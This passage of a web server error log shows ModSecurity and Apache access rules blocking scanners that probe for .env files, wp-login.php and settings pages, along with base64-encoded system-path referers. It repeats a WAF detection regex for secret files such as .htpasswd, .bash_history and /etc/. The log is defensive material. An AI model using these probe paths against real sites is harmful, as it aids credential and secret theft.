Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/app/settings.php"] [unique_id "ai3yxNyTkdrNlD40tSGlMQAAACc"] [Sat Jun 13 18:16:04.851190 2026] [security2:error] [pid 648189:tid 648325] [remote 17.246.19.54:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yxFWSojQL4F7upKBZiwAAm2Y"] [Sat Jun 13 18:16:04.963400 2026] [access_compat:error] [pid 646876:tid 647005] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQyL3Bvd2Vy [Sat Jun 13 18:16:04.963837 2026] [access_compat:error] [pid 646876:tid 647005] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQyL3Bvd2Vy [Sat Jun 13 18:16:05.003736 2026] [security2:error] [pid 648189:tid 648454] [client 185.177.72.9:44236] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/config/settings.php"] [unique_id "ai3yxVWSojQL4F7upKBZkQAAAOg"] [Sat Jun 13 18:16:05.059779 2026] [access_compat:error] [pid 646876:tid 646950] [remote 57.141.14.26:21760] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:05.060177 2026] [access_compat:error] [pid 646876:tid 646950] [remote 57.141.14.26:21760] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:05.348910 2026] [access_compat:error] [pid 646876:tid 646894] [remote 57.141.14.71:31018] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:05.349355 2026] [access_compat:error] [pid 646876:tid 646894] [remote 57.141.14.71:31018] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:05.589620 2026] [access_compat:error] [pid 646876:tid 646887] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9tb3VzZTEvcG93ZXI= [Sat Jun 13 18:16:05.590097 2026] [access_compat:error] [pid 646876:tid 646887] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9tb3VzZTEvcG93ZXI= [Sat Jun 13 18:16:05.627379 2026] [security2:error] [pid 646876:tid 647058] [client 185.177.72.9:44248] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/administrator/.env"] [unique_id "ai3yxdyTkdrNlD40tSGlTAAAADI"] [Sat Jun 13 18:16:05.643824 2026] [access_compat:error] [pid 648189:tid 648276] [remote 57.141.14.68:24570] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:05.644197 2026] [access_compat:error] [pid 648189:tid 648276] [remote 57.141.14.68:24570] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:05.767175 2026] [security2:error] [pid 646876:tid 647077] [client 185.177.72.9:44248] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/cms/.env"] [unique_id "ai3yxdyTkdrNlD40tSGlVAAAAEU"] [Sat Jun 13 18:16:05.906373 2026] [security2:error] [pid 646876:tid 647097] [client 185.177.72.9:44248] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/portal/.env"] [unique_id "ai3yxdyTkdrNlD40tSGlWAAAAFk"] [Sat Jun 13 18:16:05.960200 2026] [security2:error] [pid 648189:tid 648366] [client 216.73.216.77:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 77.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/xsl/tests/xsltprocessor_registerPHPFunctions-string-multiple.phpt"] [unique_id "ai3yxVWSojQL4F7upKBZuAAAAJI"] [Sat Jun 13 18:16:06.051097 2026] [security2:error] [pid 646876:tid 647048] [client 185.177.72.9:44248] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/dashboard/.env"] [unique_id "ai3yxtyTkdrNlD40tSGlXQAAACg"] [Sat Jun 13 18:16:06.077333 2026] [access_compat:error] [pid 646876:tid 646997] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvc3Vic3lzdGVtL2V2ZW50Ni9kZXZpY2UvZXZlbnQ2L3Bvd2Vy [Sat Jun 13 18:16:06.077775 2026] [access_compat:error] [pid 646876:tid 646997] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvc3Vic3lzdGVtL2V2ZW50Ni9kZXZpY2UvZXZlbnQ2L3Bvd2Vy [Sat Jun 13 18:16:06.188768 2026] [security2:error] [pid 646876:tid 647127] [client 185.177.72.9:44248] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/crm/.env"] [unique_id "ai3yxtyTkdrNlD40tSGlYgAAAHc"] [Sat Jun 13 18:16:06.286466 2026] [access_compat:error] [pid 646876:tid 646944] [remote 57.141.14.32:27695] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:06.286883 2026] [access_compat:error] [pid 646876:tid 646944] [remote 57.141.14.32:27695] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:06.327200 2026] [security2:error] [pid 646876:tid 647130] [client 185.177.72.9:44248] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/mail/.env"] [unique_id "ai3yxtyTkdrNlD40tSGlZgAAAHo"] [Sat Jun 13 18:16:06.423027 2026] [access_compat:error] [pid 648189:tid 648242] [remote 74.7.242.16:39450] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2 [Sat Jun 13 18:16:06.423466 2026] [access_compat:error] [pid 648189:tid 648242] [remote 74.7.242.16:39450] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2 [Sat Jun 13 18:16:06.463730 2026] [security2:error] [pid 648189:tid 648293] [remote 17.22.245.82:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 82.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yxlWSojQL4F7upKBZxwAA-kc"] [Sat Jun 13 18:16:06.466806 2026] [security2:error] [pid 646876:tid 647054] [client 185.177.72.9:44248] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/mailer/.env"] [unique_id "ai3yxtyTkdrNlD40tSGlawAAAC4"] [Sat Jun 13 18:16:06.598231 2026] [access_compat:error] [pid 646876:tid 646958] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQwL2V2ZW50MC9zdWJzeXN0ZW0vZXZlbnQ2L3Bvd2Vy [Sat Jun 13 18:16:06.598683 2026] [access_compat:error] [pid 646876:tid 646958] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQwL2V2ZW50MC9zdWJzeXN0ZW0vZXZlbnQ2L3Bvd2Vy [Sat Jun 13 18:16:06.604819 2026] [security2:error] [pid 646876:tid 647131] [client 185.177.72.9:44248] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/deployment/.env"] [unique_id "ai3yxtyTkdrNlD40tSGlcgAAAHs"] [Sat Jun 13 18:16:06.605530 2026] [access_compat:error] [pid 646876:tid 646918] [remote 57.141.14.33:39661] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:06.605978 2026] [access_compat:error] [pid 646876:tid 646918] [remote 57.141.14.33:39661] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:06.644870 2026] [security2:error] [pid 648189:tid 648309] [remote 132.255.164.117:35126] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 117.164.255.132.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "careers.kbm-realty.com"] [uri "/wp-login.php"] [unique_id "ai3yxlWSojQL4F7upKBZzAAA0Fc"] [Sat Jun 13 18:16:06.660472 2026] [security2:error] [pid 646876:tid 646968] [remote 17.241.75.29:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 29.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yxtyTkdrNlD40tSGldgAAXFk"] [Sat Jun 13 18:16:06.742621 2026] [security2:error] [pid 646876:tid 647049] [client 185.177.72.9:44248] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/docker/.env"] [unique_id "ai3yxtyTkdrNlD40tSGlfAAAACk"] [Sat Jun 13 18:16:06.820956 2026] [access_compat:error] [pid 646876:tid 646879] [remote 57.141.14.37:22992] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:06.821377 2026] [access_compat:error] [pid 646876:tid 646879] [remote 57.141.14.37:22992] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:06.884995 2026] [security2:error] [pid 646876:tid 647071] [client 185.177.72.9:44248] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/helm/.env"] [unique_id "ai3yxtyTkdrNlD40tSGlhAAAAD8"] [Sat Jun 13 18:16:07.032300 2026] [security2:error] [pid 646876:tid 647024] [client 185.177.72.9:44248] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/terraform/.env"] [unique_id "ai3yx9yTkdrNlD40tSGljAAAABA"] [Sat Jun 13 18:16:07.107857 2026] [access_compat:error] [pid 648189:tid 648227] [remote 57.141.14.90:50712] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:07.108298 2026] [access_compat:error] [pid 648189:tid 648227] [remote 57.141.14.90:50712] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:07.119862 2026] [security2:error] [pid 648189:tid 648327] [remote 17.22.245.127:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 127.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yx1WSojQL4F7upKBZ4wAAsWg"] [Sat Jun 13 18:16:07.125114 2026] [access_compat:error] [pid 646876:tid 646942] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9pbnB1dDQvZXZlbnQ0L3Bvd2Vy [Sat Jun 13 18:16:07.125530 2026] [access_compat:error] [pid 646876:tid 646942] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9pbnB1dDQvZXZlbnQ0L3Bvd2Vy [Sat Jun 13 18:16:07.172050 2026] [security2:error] [pid 646876:tid 647020] [client 185.177.72.9:44248] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] 